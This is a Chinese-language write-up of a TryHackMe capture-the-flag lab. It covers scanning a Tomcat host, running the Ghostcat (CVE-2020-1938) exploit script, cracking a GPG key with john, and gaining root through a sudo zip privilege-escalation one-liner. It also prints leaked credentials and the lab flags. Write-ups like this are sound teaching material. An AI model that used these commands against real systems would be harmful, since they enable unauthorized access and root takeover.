首先拿到 ip 10.10.86.129
,並確認機器已上線
ping 10.10.86.129
首先使用 nmap 工具掃描有哪些服務,一樣使用快慢速兩種方式來找
nmap -v 10.10.86.129
nmap -v -sV -p- -sC --min-rate 5000 10.10.86.129
可以發現到開了下面這幾個服務
22 ssh openssh 7.2
53 tcpwrapped
8009 ajp13 Apache Jserv
8080 http Apache Tomcat 9.0.30
一樣發現了有網頁服務,使用瀏覽器看看,但發現就只是預設的工具頁面而已,沒什麼特別的
一樣使用 dirsearch 及 gobuster 來掃,但是也是只有發現一些該有的路徑,沒有太特別的
dirsearch --url http://10.10.86.129:8080/
gobuster dir -u http://10.10.86.129:8080/ -w /usr/share/seclists/Discovery/Web-Content/common.txt
而另外也注意到前面的掃描部分有掃到奇怪的協定,搜尋了一些 exploit 之後發現可能和這個漏洞 (CVE-2020-1938) 有關,嘗試使用該 exploit 腳本
在使用時要注意到使用 python2 版本來執行,不然會有一些奇怪的問題,可以參考這個
python2 48143.py 10.10.86.129
可以看到該腳本 leak 出了使用者的帳號密碼,推測是用在 ssh 上的
skyfuck:8730281lkjlkjdqlksalks
成功登入,取得使用者 skyfuck
身分
接著是要找 user.txt
,不過沒有在該使用者的目錄下,而後來發現了有另一個使用者 merlin
而 user.txt
在他的目錄下
/home/merlin/user.txt
THM{GhostCat_1s_so_cr4sy}
接著需要想辦法提權,首先查看 sudo 相關權限可以發現該使用者完全沒辦法使用
此外也找不到有 SUID 漏洞的檔案
但是有看到一些可疑的地方,像是說有奇怪的 crontab
此外也有看到有奇怪的 credential.pgp
及 tryhackme.asc
檔案
由於一直嘗試都沒辦法找到可行的提權方法 (可能是因為當兵太久沒碰生疏ㄌ),因此查看了一下別人的 writeup,發現關鍵的部分在於要破解前面發現的那個奇怪 gpg 檔案
首先使用 gpg2john
將 gpg 的 asc 密碼檔案轉換成 john 看得懂的 hash,接著使用 john 進行破解
gpg2john tryhackme.asc > hash.txt
john --wordlist=~/Desktop/temp/rockyou.txt hash.txt
可以發現該 gpg 的密碼是 alexandru
接著利用這個參考資料,對 gpg 檔案進行解密
gpg --import tryhackme.asc
gpg --decrypt credential.pgp
因此可以得出使用者 merlin
的密碼為 asuyusdoiuqoilkda312j31k2j123j1g23g12k3g12kj3gk12jg3k12j3kj123j
成功登入
而也看看該帳號是否有能提權的部分,首先看看有沒有特殊的 sudo 權限,發現能使用 zip 執行 sudo 的權限
可以發現到我們能使用 zip 來跑 sudo,而可以參考 GTFObin 的資料,發現有進行提權的方法
TF=$(mktemp -u)
sudo zip $TF /etc/hosts -T -TT 'sh #'
提權成功,拿到 root 身分
rootflag 在 /root/root.txt
之中
THM{Z1P_1S_FAKE}
至此,已取得這台機器的完整權限